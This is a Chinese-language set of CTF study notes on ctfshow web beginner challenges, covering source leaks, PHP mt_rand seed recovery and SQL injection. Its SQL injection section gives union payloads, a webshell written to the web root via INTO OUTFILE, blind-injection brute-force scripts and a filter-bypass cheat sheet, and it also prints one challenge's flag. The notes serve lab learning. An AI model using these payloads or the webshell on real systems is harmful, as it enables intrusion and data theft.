ctfshow-web入门

前言

这个只选择性的摘录ctfshow中的web入门题目,作为后面复习的资料

web2

当右键被禁掉的时候可以使用ctrl+u查看网页源代码

web7

.开头的文件夹在linux操作系统中是隐藏文件,所以开发人员可能错误地将.git文件夹部署到生产环境中,导致源码泄露等问题。.svn同理,svn也是一个版本控制软件
本题直接访问/.git

web9

在linux中使用vim更改文件内容,如果非正常退出就会产生一个交换文件,如:index.php.swp,会以隐藏文件的形式在文件夹下
本题直接访问下载/index.php.swp

web10

f12,刷新页面,打开存储中的cookie

image-20231022180505270

flag需要解码,这里可以使用hackbar自带的

image-20231022180703155

web11

域名解析查询

https://ipw.cn/dns/

image-20231022192951769

web16

题目:对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

访问/tz.php,点击查看phpinfo

image-20231022202609335

flag在环境变量里,这也是信息泄露的一种

web17

题目:备份的sql文件会泄露敏感信息

/backup.sql

web18

题目:不要着急,休息,休息一会儿,玩101分给你flag

右键源代码

image-20231022204735548

查看js文件

image-20231022204809378

控制台直接运行弹窗

image-20231022204849578

image-20231022204904625

web19

题目:密钥什么的,就不要放在前端了

根据提示直接右键源代码

image-20231023195713890

可以直接post提交账号密码,也可以通过AES解密获得密码登录,这里直接放出了密钥的加密过程,AES所必须的密码和偏移量都知道了,选择ZeroPadding填充,CBC模式,hex编码输出,base64不行

image-20231023200453885

web21

image-20231102190423779

取消url编码 因为在进行base64加密的时候在最后可能存在 == ,如果进行url编码就会影响base64加密的结果

image-20231102190726078

web22

image-20231102193815520

这题给我的思路就是如果代码看不懂,可以把代码搬到本地爆破调试,当通过两个if的时候有输出提示

image-20231102193931184

image-20231102194000656

web23

image-20231102195258485

1
2
3
4
<?php
mt_srand(372619038);
echo intval(mt_rand());
?>

ps:不同版本的php得出的结果有差异

web25

考点是如果知道随机数中的某个值,有概率反推出seed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

这题的种子没有直接告诉我们,但是要获得flag,必须传入正确的token,所以要反推seed。

我们可以通过让intval($r)=0 让$rand不为0不满足if条件输出rand的值,同时可以获得mt_rand()第一次产生的随机数值的负数形式

image-20231102201425306

使用随机数反推seed工具

image-20231102201452631

因为上一题是用7.3版本得出正确的随机数,所以我们这一题自然想先尝试7.1.0+版本,图中的16和10进制都可以,是等价的。要注意的是seed确定之后每次生成的随机数是固定的,第一二三次的值固定,所以第一次生成随机数的操作不能省略。

1
2
3
4
5
6
7
<?php

mt_srand(0x7135c313);
echo mt_rand(). "\n";
$token=(mt_rand()+mt_rand());
echo $token;
?>

得到token,传入cookie

image-20231102202705326

别忘了传r,根据if的条件,$rand要等于0,所以传入?r=435058645,刷新得到flag

ctfshow{e8e1e54d-da65-42bd-9a4b-6f88ccf56c43}

sql注入

在bp中传参时末尾的+不要url编码

171

1
2
3
4
5
6
7
8
# 查数据库
-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+
# 查表名
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
# 查列名
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
# 查flag
-1'union select id,username,password from ctfshow_user --+

172

题目:

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

payload:

1、不查询username字段,绕过检测

1
-1'union select id,password from ctfshow_user2 --+

2、编码绕过

1
-1'union select to_base64(username),hex(password) from ctfshow_user2 --+

3、通过171的题目入口联合查询ctfshow_user2,171没有过滤。前提是两个表在一个库

1
-1' union select 1,username,password from ctfshow_user2 where ctfshow_user2.username = 'flag' --+

4、3的衍生,使用别名,防止列名重复

1
-1' union select 1,b.username,b.password from ctfshow_user2 as b where b.username = 'flag' --+

174

mysql常用字符串函数:https://www.cnblogs.com/geaozhang/p/6739303.html

题目:

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

使用replace函数替换flag中的数字

1
9999'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(b.password,'0',')'),'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','(') from ctfshow_user4 as b where b.username = 'flag --+

但是一直报错,原来是发包有坑,发出去的id值不是完整的

image-20240417153255917

完整的如下

image-20240417153311473

这种是知道数据库名的前提下,由于数据库名也有数字,所有也要替换。除此之外我们可以使用盲注。

175

1、写入网站根目录

1
1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

2、写马,但连不上数据库

1
-1' union select 1,"<?php eval(@$_POST[1]); ?>" into outfile '/var/www/html/1.php' --+

image-20240417194755829

177

1
-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

-

182

1
-1'%0cor%0cusername%0clike'%la%
1
-1'or(mid(username,1,1)='f')and'1'='1

183

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

pass应该就是password,去匹配ctfshow来查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://064788b5-2abd-4bed-8177-8aa66e6477bb.challenge.ctf.show/select-waf.php"

flagstr = "ctfshow{abdegijklmnpqruvxyz-0123456789}"
flag = ""
for i in range(0, 50):
for x in flagstr:
data = {
"tableName": "`ctfshow_user`where`pass`like'ctfshow{}%'".format(flag + x)
# "tableName": "`ctfshow_user`where`pass`regexp('ctfshow{}')".format(flag + x)
}
response = requests.post(url, data=data)

if (response.text.find("$user_count = 1;") > 0):
flag += x
print(flag)
break

184

分组查询语法

1
SELECT 字段列表 FROM 表名 [WHERE 条件] GROUP BY [HAVING 分组后过滤条件]

where和having的区别:where是分组之前进行过滤,不满足where条件,不参与分组;而having是分组之后对结果进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://92152998-9415-41b7-911d-88bdaca6fbbe.challenge.ctf.show/select-waf.php"
flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
def to_hex(str):
a = ""
for x in str:
a+= hex(ord(x)).replace("0x","")
return a
flag = ""
for i in range(0,40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp(0x{})".format(to_hex(flag + x))
}
response = requests.post(url, data=data)
if(response.text.find("$user_count = 1;")>0):
flag += x
print("ctfshow{}".format(flag))
break

185

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"

url = "http://48fae3d2-6175-476d-a180-10a9ddaa0823.challenge.ctf.show/select-waf.php"
s = '0123456789abcdef-{}'
flag = ''
for i in range(1, 45):
for j in s:
d = convert(f'^ctfshow{flag + j}')
data = {
'tableName': f' ctfshow_user group by pass having pass regexp({d})'
}
# print(data)
r = requests.post(url, data=data)
# print(r.text)
if ("user_count = 1" in r.text):
flag += j
print("ctfshow"+flag)
if j == '}':
exit(0)

sql绕过总结

空格过滤绕过

  • %20: 空格
  • %09: 水平制表符(Tab)
  • %0A: 换行符(LF)
  • %0B: 垂直制表符
  • %0C: 换页符(FF)
  • %0D: 回车符(CR)
  • %A0: 不间断空格(NBSP)
  • %00: 空字符(NULL)
  • /**/ ,(),`,tab,两个空格

注意在使用()绕过的时候,括号里边不能有*号

image-20240418112900178

or and xor not 过滤绕过

1
and = && or = ||  xor = | #   not = !

=号过滤绕过

1、like,=号和不加通配符的 like 是一样的

image-20240418112828379

2、还可以使用 !< >号来绕过,<> 在mysql中等于!= 如果在加一个! 双重否定代表肯定 就是=了

image-20240418112843033

php特性